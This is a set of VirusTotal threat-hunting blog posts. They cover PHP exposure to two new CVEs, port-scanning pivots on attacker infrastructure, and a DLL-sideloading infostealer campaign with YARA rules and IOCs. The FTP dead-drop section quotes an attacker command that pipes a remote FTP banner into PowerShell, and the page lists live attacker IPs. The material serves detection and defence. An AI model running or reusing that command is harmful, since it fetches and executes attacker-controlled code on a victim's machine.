Sizing the PHP exposure window for CVE-2026-109618 and CVE-2026-109619 with VirusTotal

On October 20, the PHP security team announced an out-of-band security release for Wednesday, October 21, 2026 at 14:00 UTC, fixing two critical vulnerabilities rated CVSS v4.0 9.2 (CVE-2026-109618 and CVE-2026-109619). Hours before the release, technical details leaked publicly. They point to the session.upload_progress feature, which has been part of PHP since 5.4.0 and is enabled by default. The community quickly converged on an interim mitigation: set session.upload_progress.enabled = Off in php.ini.
That leaves defenders with two questions: how big is the exposed surface, and where should they start? We used Internet Scanning in VirusTotal to answer both.

Note: Official details, affected versions and fixed versions are published by the PHP project with the release. The figures below describe the Internet-facing PHP footprint, not confirmed vulnerable hosts.

Most PHP servers don’t say they are PHP

VirusTotal fingerprints roughly 5.1 million IP addresses running PHP (port_service_cpe:php), about 3.8 million of them with at least one port open today. Only around 1.1 million of those announce a version in an HTTP header such as X-Powered-By: PHP/8.3.35.
In other words, roughly four out of five PHP servers hide their version (expose_php = Off, stripped headers, reverse proxies). VirusTotal still identifies them as PHP through other signals: the application on top (WordPress, Laravel, Nextcloud…), PHPSESSID cookies and framework-specific headers. If you only search for a version string, you only see the fraction of the problem that volunteers it.

The version picture: the long tail of end-of-life PHP

Among the servers that do disclose their version, the split is stark:
PHP versions disclosed in service banners: supported, end-of-life and pre-5.4 branches

  • ~272K run a supported branch (8.2 to 8.5), the only branches that receive security fixes from the PHP project.
  • ~758K run an end-of-life branch between 5.4 and 8.1. These branches have session.upload_progress enabled by default and no longer receive security fixes. PHP 7.4 alone accounts for ~187K IPs and PHP 5.4 for ~119K.
  • ~88K run PHP 5.2 or 5.3, which predate session.upload_progress.
Being up to date doesn’t buy much time either: about 85K IPs run the exact releases published on September 24 (8.3.35, 8.2.34, 8.4.26 and 8.5.11), the latest available before this fix.
Latest PHP releases before the fix and other open ports on PHP hosts

What runs on top, and where

Apache (~2.9M) and nginx (~1.48M) are the web servers most often seen on PHP hosts, followed by LiteSpeed (~90K). On the application side, WordPress dominates with ~538K IPs, followed by Laravel (~141K) and Nextcloud (~107K). Webmail (Roundcube) and database admin panels (phpMyAdmin) add another ~25K high-value targets.
Web servers and applications detected on PHP hosts

The geography is concentrated: the United States accounts for ~920K PHP hosts with at least one open port, and a handful of cloud and hosting providers (AWS, DigitalOcean, Alibaba, OVHcloud, Hetzner) concentrate a large share. That concentration is good news for remediation: a few providers that push a configuration change or a WAF rule can cover a lot of ground.
Top countries and selected hosting providers for PHP hosts with an open port

Going beyond the web port

PHP rarely travels alone. ~394K PHP hosts also have port 22 open (SSH by default), ~233K port 3306 (MySQL) and ~68K port 3389 (RDP). Those co-exposed services are useful for something else: identifying the exact build behind the web server.
The leaked material references LiteSpeed lsphp82 8.2.34 builds for Debian 12, Ubuntu 22.04 and Ubuntu 24.04, and notes that HTTP headers alone don’t tell those builds apart. The OpenSSH package on port 22 does. With the bracket syntax, every condition is pinned to its port:
entity:ip port_service_cpe:php port_banner:"PHP/8.2.34" port_service_version[22]:"9.6p1 Ubuntu"
Of the ~3.5K IPs whose banners show both LiteSpeed and PHP 8.2.34, about 500 also have port 22 open. Across all PHP 8.2.34 hosts, the OpenSSH package on port 22 matches Ubuntu 24.04 on 269 IPs, Ubuntu 22.04 on 112 and Debian 12 on 65. For a defender, that is the difference between “patch everything” and “these are the machines that match the leaked target profile, patch them first”. Keep in mind that port 22 reveals the host operating system: PHP may still run inside a container built on a different base image.
Ports tab of a PHP 8.2.34 host showing HTTP and OpenSSH on port 22

Adversaries run PHP too

The exposed surface also includes attacker infrastructure. Around 5.7K PHP hosts with at least one open port have five or more detections in VirusTotal, 729 of them disclosing PHP 8.x. One of them is an old acquaintance: the NOX Stealer panel (rebranded as BOMBAY) on 5.175.221[.]206:8443, which we profiled in our Internet Scanning post, runs nginx 1.24.0 with PHP/8.3.33.
Ports tab of 5.175.221.206 showing nginx 1.24.0 and PHP/8.3.33 on port 8443

What the VirusTotal corpus saw

The leak left traces across VirusTotal. The archive referenced in the write-up was first submitted at 02:29 UTC on October 21, less than 15 minutes after the first submission of the write-up URL. By the time of writing, 21 crowdsourced reports covering the vulnerabilities had been ingested as collections. Following entity:collection collection_type:report "CVE-2026-109618" is the fastest way to keep up with new reporting as it appears.
VirusTotal search results for crowdsourced reports about CVE-2026-109618

What to do now

  1. Patch. Upgrade to the fixed release of your branch (8.2, 8.3, 8.4 or 8.5) as soon as it is available on php.net or through your distribution.
  2. Plan the EOL migration. PHP 8.1 and older no longer receive security fixes. If you are on 5.4 to 8.1, upgrade the branch or check whether your distribution or vendor ships a backport.
  3. Disable upload progress until you patch. Set session.upload_progress.enabled = Off in php.ini (or the pool configuration) and reload PHP-FPM, Apache or LSAPI. It only breaks upload progress bars that rely on the feature. Community analysis suggests it may not cover every vector, so treat it as a stopgap, not a fix.
  4. Filter multipart at the edge. Where an application doesn’t need file uploads, block or inspect multipart/form-data requests before they reach PHP. Cloudflare shipped emergency rules to its Managed and Free rulesets on October 21, and its CTO stated that they cover known payloads, while stressing that only updating PHP fully protects a site.
  5. Make sure the WAF can’t be bypassed. Edge rules only help if the origin is not directly reachable. Search your own ranges in VirusTotal (for example, entity:ip port_service_cpe:php asn:<your ASN>) to find origins that expose PHP directly to the Internet.
  6. Don’t rely on hiding the version. expose_php = Off hides the header, not the vulnerability.

Queries used in this post

Query What it finds
entity:ip port_service_cpe:php All IPs where VirusTotal fingerprinted PHP on any port
entity:ip port_service_cpe:php port_status:open PHP hosts with at least one port currently open
entity:ip port_service_cpe:php port_banner:"PHP/" PHP hosts that disclose their version in an HTTP header
entity:ip port_service_cpe:php port_banner:"PHP/7.4." PHP hosts on a given branch (repeat for each branch from 5.2 to 8.5)
entity:ip port_service_cpe:php port_banner:"PHP/8.3.35" PHP hosts on the latest release before the fix (repeat for 8.2.34, 8.4.26 and 8.5.11)
entity:ip port_service_cpe:php port_service_cpe:nginx PHP hosts by web server (also "apache:http_server", lighttpd, internet_information_services)
entity:ip port_service_cpe:php port_banner:"LiteSpeed" PHP hosts by Server header (also openresty, Caddy)
entity:ip port_service_cpe:php port_service_cpe:wordpress PHP hosts by application (also laravel, nextcloud, drupal, joomla, roundcube, phpmyadmin…)
entity:ip port_service_cpe:php port_status:open country:US PHP hosts with an open port, by country
entity:ip port_service_cpe:php port_status:open asn:16509 PHP hosts with an open port, by hosting provider ASN
entity:ip port_service_cpe:php open_port:22 PHP hosts with another port open (also 3306, 3389, 445, 8443, 8000)
entity:ip port_service_cpe:php port_banner:"LiteSpeed" port_banner:"PHP/8.2.34" Hosts whose banners show both LiteSpeed and PHP 8.2.34, the profile referenced in the leak
entity:ip port_service_cpe:php port_banner:"PHP/8.2.34" port_service_version[22]:"9.6p1 Ubuntu" PHP 8.2.34 hosts whose OpenSSH package on port 22 is Ubuntu 24.04’s (use 8.9p1 Ubuntu for Ubuntu 22.04 and deb12 for Debian 12)
entity:ip port_service_cpe:php port_status:open positives:5+ PHP hosts with an open port and five or more detections
entity:collection collection_type:report "CVE-2026-109618" Crowdsourced reports about the vulnerabilities

Note: All counts in this post were taken on October 21, 2026. For large result sets VirusTotal returns estimated totals that vary between runs, so we report the median of seven runs, rounded. Port modifiers without a port in brackets match per IP, not per port: port_service_cpe:php port_status:open means PHP was fingerprinted on the IP and at least one of its ports is open.

References

Happy hunting!

Continue reading Sizing the PHP exposure window for CVE-2026-109618 and CVE-2026-109619 with VirusTotal→

Internet Scanning in VirusTotal: hunting infrastructure by what it exposes

Until now, an IP report in VirusTotal told you a lot about reputation, who hosts it, what resolves to it (passive DNS) and which files talk to it. It told you nothing about what the machine itself was running.
VirusTotal now scans the public IPv4 space every day and stores, for each IP, the open and closed ports, the service behind each port, its banner and its fingerprints. All of it is searchable. In this post we cover what you will find in the reports and how to use it to hunt and pivot, with real examples worked end to end.

What we store for every port

Each IP now carries a list of port records. Every record has two layers: the lifecycle of the port and the latest analysis of the service running on it.
Field What it tells you
Status open, closed or recently closed. Updated daily.
First seen / Open since / Last seen open When we first saw the port, since when it has been open without interruption, and the last day we saw it open.
Protocol, product and version The service identified on the port, e.g. ssh / OpenSSH / 9.6p1 Ubuntu 3ubuntu13.19.
CPEs Standard CPE identifiers for the product, useful to map the service to known vulnerabilities.
Banner The raw banner returned by the service.
OS and device type Operating system or device class inferred from the service (Linux, Windows, router, firewall…).
Fingerprints SSH host key fingerprints and RDP fingerprints.
Protocol details HTTP status line and response headers, SMTP capabilities, IMAP/POP3 capabilities and similar protocol-specific output.
The “closed” side matters as much as the “open” one. When a port stops answering we don’t delete it: we keep the record, flip the status and preserve the last date it was seen open. That is what lets you answer “when did this C2 go dark?” weeks after it happened.
All of this lives in the new Ports tab of the IP report, with a table of every port we know about and a detailed card per port.

Searching the scanning data

Everything above is indexed and can be queried from the search bar or the API with entity:ip plus the new modifiers:
Modifier Example Matches
port entity:ip port:3389 IPs with any information on that port
open_port / closed_port entity:ip open_port:22 IPs where the port is currently open / closed
port_status entity:ip port_status:open Filter by port status
port_protocol entity:ip port_protocol:ssh Protocol running on the port
port_service_product entity:ip port_service_product:openssh Product name
port_service_version entity:ip port_service_version:8.2p1 Product version
port_service_cpe entity:ip port_service_cpe:"cpe:/o:linux:linux_kernel" CPE identifier
port_banner entity:ip port_banner:mikrotik Text inside the service banner
os_type / device_type entity:ip device_type:router Detected OS / device class
fingerprint entity:ip fingerprint:"SHA256:..." SSH or RDP fingerprint
The part we like most is the bracket syntax. On a host with several services, port_service_product:nginx port_service_version:1.24.0 would match even if nginx lives on one port and version 1.24.0 belongs to something else on another. Putting the port in brackets pins every condition to the same service:
entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0
entity:ip os_type[445]:Windows
entity:ip port_banner[21]:mikrotik
entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"
The bracket form works for port_banner, port_protocol, port_service_product, port_service_version, port_service_cpe, os_type, device_type and fingerprint. And since these are regular modifiers, you can combine them with everything you already use for IPs: asn, country, ssl_subject, jarm, threat_actor, collection, have and so on.

A word about noise

Our first instinct was to hunt C2 frameworks by their default ports. entity:ip open_port:50050 (Cobalt Strike’s default team server port) returned more than 1.5 million IPs. A quick look at the results explains why: many of those hosts answer on every port we probe, including 4444, 5552, 6606 or 8808 at the same time.
An open port on its own is a weak signal. What makes a query useful is what is behind the port: a product, a version, a banner string or a fingerprint.

Pivoting on an SSH host key: a real example

This is where the fingerprints earn their place. An SSH host key is generated when a server is installed. If two IPs present the same key, you are usually looking at the same machine that moved, or at a server cloned from the same image. In both cases, it could be related to the same operator.
We started from 91.219.237[.]110, an IP hosted in Hungary that appears in our APT28 collection and in a community collection about Havoc C2. Its Ports tab shows a small footprint: SSH on 22 and nginx on 80 redirecting to HTTPS.
Searching for that fingerprint gives exactly one other IP:
entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"
IP Hosting Detections Collections
91.219.237[.]110 ServerAstra (HU) 3 APT28, Havoc
185.146.232[.]3 FlokiNET (IS) 0 none
The second IP has no detections, no collections and no communicating files. On reputation alone, nobody would look at it twice. But the port data says it is a twin of the first: same SSH key, same OpenSSH build, same nginx 1.24.0 on port 80 with the same redirect, and the same JARM. Its HTTPS certificate is issued to the same unusual common name as the first one, b4ck.my.

That certificate gives us a second, independent pivot:
entity:ip ssl_subject:"b4ck.my"
It returns a third IP, 96.9.125[.]59, hosted in Romania. Its Ports tab tells the rest of the story: both 22 and 80 are closed, SSH was last seen open on 2025-11-18 and HTTP on 2025-12-05. Meanwhile, the SSH service on 185.146.232[.]3 was first seen on 2025-11-22. It looks very much like whoever runs this cluster retired one node and stood up the next one within days.
Two honest caveats before anyone blocks anything.
Check the dates behind an attribution. The malware we have communicating with 91.219.237[.]110 was first submitted between 2009 and 2015. IPs get reassigned, and ten years is a long time. What the port data shows is that these three IPs share infrastructure today: the same SSH host key, the same uncommon certificate name and the same service stack, which suggests they are likely managed by the same operator. That is exactly the question a static reputation score can’t answer. Whether that operator has anything to do with the old samples, or with APT28, is a separate investigation.
Check how many hits a fingerprint has. A shared key is only meaningful when it is rare. While preparing this post we found SSH keys shared by more than 1,400 IPs on the same cloud providers (VPS templates that ship a baked-in host key) and by more than 1,200 residential IPs on Brazilian ISPs (router firmware with a default key). Two or three hits is a lead. A thousand is a vendor. The same applies to JARM: the JARM of the servers above matches 1.7 million IPs, because it is simply what a default nginx looks like.
A useful habit is to write the final pivot as a single query, pinning each condition to its port. Here is the fingerprint of the cluster above:
entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"

From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443

Not every investigation starts with an IP. Often you start by hunting suspicious URLs—for instance, operator login panels stood up directly on raw IP addresses and non-standard ports before a domain is ever pointed at them:
entity:url tag:ns-port tag:password-input tag:ip
Here, tag:ip restricts results to URLs hosted on a literal IP address, tag:ns-port filters for non-standard ports, and tag:password-input requires a password field in the rendered DOM.
One of the hits is https://5.175.221[.]206:8443/. On vendor detections alone, it looks harmless (1/96 detections) on the scan made by September 24, 2026. However, the screenshot captured in the URL report tells a very different story:
Screenshot of https://5.175.221.206:8443/login showing NOX Stealer operator login panel
The page is the operator login panel for NOX Stealer (title:"NOX STEALER - Login"), describing itself in its meta tags as a “Lightweight C++ infostealer with automated worm features”.
If we pivot on that page title across URLs (entity:url title:"NOX STEALER"), we find 15 URLs across two sibling domains (grabber[.]cy and lumma[.]cy, the latter linked to dozens of trojan.lumma payloads).
Both domains sit behind Cloudflare, which hides the origin server and blocks infrastructure pivoting.
On 5.175.221[.]206, however, the operator exposed the panel directly on the machine. Clicking from the URL report to the host’s Ports tab reveals the complete stack behind that login screen:
Port Status What the scanner captured
8443 open HTTPS (nginx 1.24.0, PHP/8.3.33) serving the NOX Stealer login panel
445 open SMB on Windows Server 2022 (os_type: 10.0.20348), NetBIOS host WIN-BM6C4ESB87V
3389 open RDP (Microsoft Terminal Services, Windows Server 2016/2019 fingerprint)
80 recently closed HTTP (last seen open 2026-09-24, returning 308 Permanent Redirect to HTTPS)
Instead of a generic Linux VPS, the panel is running on a Windows Server 2022 host with SMB and RDP exposed alongside nginx 1.24.0 and PHP on port 8443.
Searching for entity:ip open_port:8443 alone returns 4.5 million IPs, and entity:ip port_service_product[8443]:nginx still returns over 345,000. But by combining the web stack on port 8443 with the Windows build on port 445 using the bracket syntax, we cut those 4.5 million hosts down to just 10 IPs globally:
entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389
That is how URL hunting and Internet Scanning complement each other: the URL search surfaces the login form on a non-standard port, the URL screenshot confirms the panel, and the IP’s Ports tab gives you the multi-port host signature that Cloudflare was hiding on the domains.

Catching a live rebrand: NOX becomes BOMBAY

While we were putting this blog post together, https://5.175.221[.]206:8443/ was re-analyzed—and we caught the operator rebranding the panel in place from NOX Stealer to BOMBAY Stealer:
A few details from the new scan show why combining browser-based URL analysis with host-level scanning is so effective:
  • The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).
  • New marketing pitch, same codebase. The updated <meta name="description"> in the rendered DOM now advertises “currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers”—even though the visible subtitle on the login card still reads “Lightweight, C++-native infostealer with automated worm propagation” word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.
  • The host fingerprint didn’t blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn’t change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.
If you want to dive deeper into how we analyze URLs and capture rendered DOMs and screenshots, check out our posts on Enriched URL Reports powered by full-browser execution in the GTI Community and URL Scanning 2.0 on the VirusTotal blog.

Hunting FTP banners used as dead drop resolvers

In August, the SOCRadar Threat Research Unit published an analysis of threat actors using FTP banners as dead drop resolvers. The trick is simple: a malicious LNK runs ftp <ip> | cmd, the FTP client prints the server’s welcome banner, and the pipe hands that banner straight to a shell. The command never lives in the shortcut, it lives in the banner. The two clusters they tracked ended up delivering two new RATs, E4del and PINHOLE.
The banner is exactly what our scanner stores for every port, so the technique can be hunted directly:
entity:ip port_banner[21]:"conhost"
At the time of writing the query returns five IPs. All of them serve the same template on port 21, and only the next-hop IP changes:
start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"
IP Hosting Port 21 Next hop in the banner
157.254.194[.]31 12651980 CANADA INC. (US) closed, last seen open 2026-08-10 167.148.41[.]164
54.37.237[.]164 OVH (FR) open, last seen 2026-10-01 54.37.237[.]166
51.89.199[.]125 OVH (GB) closed, last seen open 2026-08-31 51.89.199[.]118
185.14.92[.]162 Florian Kolb (DE) closed, seen open only on 2026-07-03 185.14.92[.]223
45.87.41[.]133 SpectraIP (NL) closed, last seen open 2026-07-08 64.111.92[.]89

A few things stand out once the hits are side by side:
  • The E4del chain, with dates. 157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.
  • First and second hop sit next to each other. 54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.
  • Earlier than reported. 45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.
  • Still live. 54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.

Using it from the API

The IP object now includes a port_info list, so the data comes with the calls you already make. There are also three new endpoints: /api/v3/port_infos/{ip}:{port} for the current state of a port, /api/v3/port_infos/{ip}:{port}/analysis for the full history of analyses of that port (paginated with a cursor), and /api/v3/port_analyses/{ip}:{port}:{timestamp} for a specific analysis.
# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests

BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}

def ports(ip):
    r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
    r.raise_for_status()
    for p in r.json()["data"]["attributes"].get("port_info", []):
        svc = p.get("latest_analysis", {}).get("port_service", {})
        fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
        print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)

def search(query, limit=40):
    r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
                     params={"query": query, "limit": limit}, timeout=120)
    r.raise_for_status()
    return [d["id"] for d in r.json().get("data", [])]

ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))
The status comes back as PORT_INFO_STATUS_OPEN, PORT_INFO_STATUS_CLOSED or PORT_INFO_STATUS_RECENTLY_CLOSED, and dates are Unix timestamps.

What about Livehunt?

Not yet. Livehunt rules for IPs use the vt.net.ip fields of the YARA vt module, and port data isn’t exposed there today. Until it is, the practical workaround is to save your best queries and re-run them on a schedule through the API.

Wrapping up

Ports are the part of an IP that the operator can’t hide from a scanner. A reputation score tells you what an IP did; the port data tells you what it is and what it looks like now, and it lets you find its siblings before they do anything. Open any IP report, go to the Ports tab, and search for the first fingerprint you see.
Happy hunting!

Continue reading Internet Scanning in VirusTotal: hunting infrastructure by what it exposes→

New Infostealer Campaign Targets Users via Spoofed Software Installers

Introduction

As part of our commitment to sharing interesting hunts, we are launching these ‘Flash Hunting Findings’ to highlight active threats. Our latest investigation tracks an operation active between January 11 and January 15, 2026, which uses consistent ZIP file structures and a unique behash (“4acaac53c8340a8c236c91e68244e6cb”) for identification. The campaign relies on a trusted executable to trick the operating system into loading a malicious payload, leading to the execution of secondary-stage infostealers.

Findings

The primary samples identified are ZIP files that mostly reference the MalwareBytes company and software using the filename malwarebytes-windows-github-io-X.X.X.zip. A notable feature for identification is that all of them share the same behash.
behash:"4acaac53c8340a8c236c91e68244e6cb"
The initial instance of these samples was identified on January 11, 2026, with the most recent occurrence recorded on January 14.
All of these ZIP archives share a nearly identical internal structure, containing the same set of files across the different versions identified. Of particular importance is the DLL file, which serves as the initial malicious payload, and a specific TXT file found in each archive. This text file has been observed on VirusTotal under two distinct filenames: gitconfig.com.txt and Agreement_About.txt.
The content of the TXT file holds no significant importance for the intrusion itself, as it merely contains a single string consisting of a GitHub URL.
However, this TXT is particularly valuable for pivoting and infrastructure mapping. By examining its “execution parents,” analysts can identify additional ZIP archives that are likely linked to the same malicious campaign. These related files can be efficiently retrieved for further investigation using the following VirusTotal API v3 endpoint:
/api/v3/files/09a8b930c8b79e7c313e5e741e1d59c39ae91bc1f10cdefa68b47bf77519be57/execution_parents
The primary payload of this campaign is contained within a malicious DLL named CoreMessaging.dll. Threat actors are utilizing a technique known as DLL Sideloading to execute this code. This involves placing the malicious DLL in the same directory as a legitimate, trusted executable (EXE) also found within the distributed ZIP file. When an analyst or user runs the legitimate EXE, the operating system is tricked into loading the malicious CoreMessaging.dll.
The identified DLLs exhibit distinctive metadata characteristics that are highly effective for pivoting and uncovering additional variants within the same campaign. Security analysts can utilize specific hunting queries to track down other malicious DLLs belonging to this activity. For instance, analysts can search for samples sharing the following unique signature strings found in the file metadata:
signature:"Peastaking plenipotence ductileness chilopodous codicillary."
signature:"© 2026 Eosinophil LLC"
Furthermore, the exported functions within these DLLs contains unusual alphanumeric strings. These exports serve as reliable indicators for identifying related malicious components across different stages of the campaign:
exports:15Mmm95ml1RbfjH1VUyelYFCf exports:2dlSKEtPzvo1mHDN4FYgv
Finally, another observation for behavioral analysis can be found in the relations tab of the ZIP files. These files document the full infection chain observed during sandbox execution, where the sandbox extracts the ZIP, runs the legitimate EXE, and subsequently triggers the loading of the malicious DLL. Within the Payload Files section, additional payloads are visible. These represent secondary stages dropped during the initial DLL execution, which act as the final malware samples. These final payloads are primarily identified as infostealers, designed to exfiltrate sensitive data.
Analysis of all the ZIP files behavioral relations reveals a recurring payload file consistently flagged as an infostealer. This malicious component is identified by various YARA rules, including those specifically designed to detect signatures associated with stealing cryptocurrency wallet browser extension IDs among others.
To identify and pivot through the various secondary-stage payloads dropped during this campaign, analysts can utilize a specific behash identifier. These files represent the final infection stage and are primarily designed to exfiltrate credentials and crypto-wallet information. The following behash provides a reliable pivot point for uncovering additional variants.
behash:5ddb604194329c1f182d7ba74f6f5946

IOCs

We have created a public VirusTotal Collection to share all the IOCs in an easy and free way. Below you can find the main IOCs related to the ZIP files and DLLs too.
import "pe"

rule win_dll_sideload_eosinophil_infostealer_jan26
{
  meta:
    author = "VirusTotal"
    description = "Detects malicious DLLs (CoreMessaging.dll) from an infostealer campaign impersonating Malwarebytes, Logitech, and others via DLL sideloading."
    reference = "https://blog.virustotal.com/2026/01/malicious-infostealer-january-26.html"
    date = "2026-01-16"
    behash = "4acaac53c8340a8c236c91e68244e6cb"
    target_entity = "file"
    hash = "606baa263e87d32a64a9b191fc7e96ca066708b2f003bde35391908d3311a463"
  condition:
    (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and pe.is_dll()) and
    pe.exports("15Mmm95ml1RbfjH1VUyelYFCf") and pe.exports("2dlSKEtPzvo1mHDN4FYgv")
}
sha256 description
6773af31bd7891852c3d8170085dd4bf2d68ea24a165e4b604d777bd083caeaa malwarebytes-windows-github-io-X.X.X.zip
4294d6e8f1a63b88c473fce71b665bbc713e3ee88d95f286e058f1a37d4162be malwarebytes-windows-github-io-X.X.X.zip
5591156d120934f19f2bb92d9f9b1b32cb022134befef9b63c2191460be36899 malwarebytes-windows-github-io-X.X.X.zip
42d53bf0ed5880616aa995cad357d27e102fb66b2fca89b17f92709b38706706 malwarebytes-windows-github-io-X.X.X.zip
5aa6f4a57fb86759bbcc9fc6c61b5f74c0ca74604a22084f9e0310840aa73664 malwarebytes-windows-github-io-X.X.X.zip
84021dcfad522a75bf00a07e6b5cb4e17063bd715a877ed01ba5d1631cd3ad71 malwarebytes-windows-github-io-X.X.X.zip
ca8467ae9527ed908e9478c3f0891c52c0266577ca59e4c80a029c256c1d4fce malwarebytes-windows-github-io-X.X.X.zip
9619331ef9ff6b2d40e77a67ec86fc81b050eeb96c4b5f735eb9472c54da6735 malwarebytes-windows-github-io-X.X.X.zip
a2842c7cfaadfba90b29e0b9873a592dd5dbea0ef78883d240baf3ee2d5670c5 malwarebytes-windows-github-io-X.X.X.zip
4705fd47bf0617b60baef8401c47d21afb3796666092ce40fbb7fe51782ae280 malwarebytes-windows-github-io-X.X.X.zip
580d37fc9d9cc95dc615d41fa2272f8e86c9b4da2988a336a8b3a3f90f4363c2 malwarebytes-windows-github-io-X.X.X.zip
d47fd17d1d82ea61d850ccc2af3bee54adce6975d762fb4dee8f4006692c5ef7 malwarebytes-windows-github-io-X.X.X.zip
606baa263e87d32a64a9b191fc7e96ca066708b2f003bde35391908d3311a463 CoreMessaging.dll DLL loaded by DLL SideLoading
fd855aa20467708d004d4aab5203dd5ecdf4db2b3cb2ed7e83c27368368f02bb CoreMessaging.dll DLL loaded by DLL SideLoading
a0687834ce9cb8a40b2bb30b18322298aff74147771896787609afad9016f4ea CoreMessaging.dll DLL loaded by DLL SideLoading
4235732440506e626fd4d0fffad85700a8fcf3e83ba5c5bc8e19ada508a6498e CoreMessaging.dll DLL loaded by DLL SideLoading
cd1fe2762acf3fb0784b17e23e1751ca9e81a6c0518c6be4729e2bc369040ca5 CoreMessaging.dll DLL loaded by DLL SideLoading
f798c24a688d7858efd6efeaa8641822ad269feeb3a74962c2f7c523cf8563ff CoreMessaging.dll DLL loaded by DLL SideLoading
0698a2c6401059a3979d931b84d2d4b011d38566f20558ee7950a8bf475a6959 CoreMessaging.dll DLL loaded by DLL SideLoading
1b3bee041f2fffcb9c216522afa67791d4c658f257705e0feccc7573489ec06f CoreMessaging.dll DLL loaded by DLL SideLoading
231c05f4db4027c131259d1acf940e87e15261bb8cb443c7521294512154379b CoreMessaging.dll DLL loaded by DLL SideLoading
ec2e30d8e5cacecdf26c713e3ee3a45ebc512059a64ba4062b20ca8bec2eb9e7 CoreMessaging.dll DLL loaded by DLL SideLoading
58bd2e6932270921028ab54e5ff4b0dbd1bf67424d4a5d83883c429cadeef662 CoreMessaging.dll DLL loaded by DLL SideLoading
57ed35e6d2f2d0c9bbc3f17ce2c94946cc857809f4ab5c53d7cb04a4e48c8b14 CoreMessaging.dll DLL loaded by DLL SideLoading
cfcf3d248100228905ad1e8c5849bf44757dd490a0b323a10938449946eabeee CoreMessaging.dll DLL loaded by DLL SideLoading
f02be238d14f8e248ad9516a896da7f49933adc7b36db7f52a7e12d1c2ddc6af CoreMessaging.dll DLL loaded by DLL SideLoading
f60802c7bec15da6d84d03aad3457e76c5760e4556db7c2212f08e3301dc0d92 CoreMessaging.dll DLL loaded by DLL SideLoading
02dc9217f870790b96e1069acd381ae58c2335b15af32310f38198b5ee10b158 CoreMessaging.dll DLL loaded by DLL SideLoading
f9549e382faf0033b12298b4fd7cd10e86c680fe93f7af99291b75fd3d0c9842 CoreMessaging.dll DLL loaded by DLL SideLoading
92f4d95938789a69e0343b98240109934c0502f73d8b6c04e8ee856f606015c8 CoreMessaging.dll DLL loaded by DLL SideLoading
66fba00b3496d61ca43ec3eae02527eb5222892186c8223b9802060a932a5a7a CoreMessaging.dll DLL loaded by DLL SideLoading
e5dd464a2c90a8c965db655906d0dc84a9ac84701a13267d3d0c89a3c97e1e9b CoreMessaging.dll DLL loaded by DLL SideLoading
35211074b59417dd5a205618fed3402d4ac9ca419374ff2d7349e70a3a462a15 CoreMessaging.dll DLL loaded by DLL SideLoading
6863b4906e0bd4961369b8784b968b443f745869dbe19c6d97e2287837849385 CoreMessaging.dll DLL loaded by DLL SideLoading
a83c478f075a3623da5684c52993293d38ecaa17f4a1ddca10f95335865ef1e2 CoreMessaging.dll DLL loaded by DLL SideLoading
43e2936e4a97d9bc43b423841b137fde1dd5b2f291abf20d3ba57b8f198d9fab CoreMessaging.dll DLL loaded by DLL SideLoading
f001ae3318ba29a3b663d72b5375d10da5207163c6b2746cfae9e46a37d975cf CoreMessaging.dll DLL loaded by DLL SideLoading
c67403d3b6e7750222f20fa97daa3c05a9a8cce39db16455e196cd81d087b54d CoreMessaging.dll DLL loaded by DLL SideLoading
5ee9d4636b01fd3a35bd8e3dce86a8c114d8b0aa6b68b1d26ace7ef0f85b438a Payload dropped by one of the malicious DLLs
e84b0dadb0b6be9b00a063ed82c8ddba06a2bd13f07d510d14e6fd73cd613fba Payload dropped by one of the malicious DLLs

Continue reading New Infostealer Campaign Targets Users via Spoofed Software Installers→

VTPRACTITIONERS{ACRONIS}: Tracking FileFix, Shadow Vector, and SideWinder

Introduction
We have recently started a new blog series called #VTPRACTITIONERS. This series aims to share with the community what other practitioners are able to research using VirusTotal from a technical point of view.

